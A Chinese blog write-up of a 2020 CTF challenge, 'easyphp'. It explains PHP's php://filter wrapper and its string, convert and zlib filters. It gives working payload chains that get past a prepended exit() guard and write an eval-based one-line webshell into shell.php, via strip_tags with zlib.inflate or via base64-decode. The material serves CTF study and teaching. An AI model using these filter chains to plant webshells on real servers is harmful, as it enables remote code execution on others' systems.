护网杯遇到了一题easyphp,遇到了关于filter协议读写文件的内容。当时没有做出来,复现也没有给Docker,自己打一个环境。
[2020护网杯]easyphp
题目具体如何得到源码的过程就不说了,这里是关键文件的代码。
<?php
error_reporting(0);
$sandbox = '/var/www/html/sandbox/' . md5($_SERVER['REMOTE_ADDR']);
echo "Here is your sandbox: " . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if (isset($_GET['content'])) {
$content = $_GET['content'];
if (preg_match('/iconv|UCS|UTF|rot|quoted|base64|%|toupper|tolower|dechunk|\.\./i', $content)) {
die('hacker');
}
if (file_exists($content)) {
require_once($content);
}
file_put_contents($content, '<?php exit();' . $content);
}
这里的关键是利用php://filter伪协议进行文件包含,但是其中有死亡exit,以及众多filter协议的字符串过滤器WAF。
这里没有过滤zlib.inflate
,植入php:
php://filter/write=string.strip_tags|zlib.inflate|?><?php eval($_GET[a]);?><?/resource=shell.php
在shell写入一句话木马,再包含文件就shell了。
看到这句话还是可以理解的,就是有些地方就想不通。为什么还要?>
和<?
?为什么这样可以绕过死亡exit?压缩后为什么还能执行?
于是就萌生了好好学学php伪协议filter的想法,以下就是自己的学习记录了。
php://filter是什么
来自官方文档的解释:
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
https://www.php.net/manual/zh/wrappers.php.php
简单通俗的说,这是一个中间件,在读入或写入数据的时候对数据进行处理后输出的一个过程。
协议参数
具体有以下几种参数:
名称 | 描述 |
---|---|
resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流。 |
read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(| )分隔。 |
write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(| )分隔。 |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
例如大家所熟知的:
php://filter/read=convert.base64-encode/resource=index.php
就是利用filter协议读文件+-,将index.php通过base64编码后进行输出。这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。
而使用的convert.base64-encode,就是一种过滤器。
过滤器
来自官方可用过滤器列表。过滤器是协议用来处理传入的数据,对数据进行处理的函数。官方给出了五种过滤器。
字符串过滤器
该类通常以string
开头,对每个字符都进行同样方式的处理。
string.rot13
一种字符处理方式,大概原理可以用一行代码概括。
rot13_str = ((str - 'a' + 13) % 26) + 'a'
其实就是讲字符右移十三位啦。
string.toupper
将所有字符转换为大写。
string.tolower
将所有字符转换为小写。
string.strip_tags
这个过滤器就比较有意思,用来处理掉读入的所有标签,例如XML的等等。在绕过死亡exit大有用处。
转换过滤器
对数据流进行编码,通常用来读取文件源码。
convert.base64-encode & convert.base64-decode
base64加密解密
convert.quoted-printable-encode & convert.quoted-printable-decode
可以翻译为可打印字符引用编码,使用可以打印的ASCII编码的字符表示各种编码形式下的字符。
压缩过滤器
注意,这里的压缩过滤器指的并不是在数据流传入的时候对整个数据进行写入文件后压缩文件,也不代表可以压缩或者解压数据流。压缩过滤器不产生命令行工具如 gzip
的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
用到的两个相关过滤器:zlib.deflate
(压缩)和 zlib.inflate
(解压)。zilb是比较主流的用法,至于bzip2.compress
和 bzip2.decompress
工作的方式与 zlib 过滤器大致相同。
加密过滤器
mcrypt.*
和 mdecrypt.*
使用 libmcrypt 提供了对称的加密和解密。
php://input
filter协议的好兄弟,通常可以将input后的数据流进行处理。
看几个样例吧
这里借鉴安全客的一篇文章的样例,链接在参考链接放出:
<?php
$file1 = $_GET['file'];
echo file_get_contents($file);
?>
接下来进行几个操作:
index.php?file=php://filter/resource=file.txt
注意,当没有规定是否是write或者read时,php会视情况进行读或写文件。该数据流标识1明文读取file.txt文件。
index.php?file=php://filter/read=convert.base64-encode/resource=file.txt
编码后读取file.txt文件。乍一看是相同的,编码后的文件读取甚至可能看起来更加麻烦一些。但是在读取例如PHP文件时,没有经过编码的文件将会被当做PHP文件执行,从而达不到读取文件的作用。
利用filter伪协议绕过死亡exit
什么是死亡exit
死亡exit指的是在进行写入PHP文件操作时,执行了以下函数:
file_put_contents($content, '<?php exit();' . $content);
亦或者
file_put_contents($content, '<?php exit();?>' . $content);
这样,当你插入一句话木马时,文件的内容是这样子的:
<?php exit();?>
<?php @eval($_POST['oatmeal']);?>
看吧!这样即使插入了一句话木马,在被使用的时候也无法被执行。这样的死亡exit通常存在于缓存、配置文件等等不允许用户直接访问的文件当中。
如何进行绕过-base64decode绕过
这里就可以用到filter协议来绕过了!看下这样的代码:
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
当用户通过POST方式提交一个数据时,会与死亡exit进行拼接,从而避免提交的数据被执行。
然而这里可以利用php://filter的base64-decode方法,将$content
解码,利用php base64_decode函数特性去除死亡exit。
base64编码中只包含64个可打印字符,当PHP遇到不可解码的字符时,会选择性的跳过,这个时候base64就相当于以下的过程:
<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);
所以,当$content
包含 <?php exit; ?>
时,解码过程会先去除识别不了的字符,<?;?>都将被去除,于是剩下的字符就只有phpexit
以及我们传入的字符了。由于base64是4个byte一组,再添加一个字符例如添加字符’a’后,将’phpexita’当做两组base64进行解码,也就绕过这个死亡exit了。
这个时候后面再加上编码后的一句话木马,就可以getshell了。
如何进行绕过-strip_tags绕过
就是前面写到的可以去除XML标签的过滤器啦。
这段代码:<?php exit; ?>
实际上就是XML标签,可以利用strip_tags进行去除,从而进行绕过。
但是我们要写入的一句话木马也是XML标签,在用到strip_tags时也会被去除。
注意到在写入文件的时候,filter是支持多个过滤器的。可以先将webshell经过base64编码,strip_tags去除死亡exit之后,再通过base64-decode复原。
回到这题easyphp康康吧
回到这道题,存在以下过滤:
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64|%|toupper|tolower|dechunk|\.\./i', $content)) {
die('hacker');
}
可以注意到,过滤了极大部分的字符串过滤器和转换过滤器。幸运的是没有过滤压缩过滤器以及strip_tags,可以组合进行绕过。
首先我们需要写入一句话木马,将木马写入shell.php:
php://filter/write=<?php eval($_GET[a]);?>/resource=shell.php
但是存在死亡exit,通过strip_tags绕过:
php://filter/write=string.strip_tags|zlib.inflate|<?php eval($_GET[a]);?>/resource=shell.php
这里传入一句话木马的过滤器使用了没有被过滤的 zlib.inflate
,这样就可以写入一句话木马了。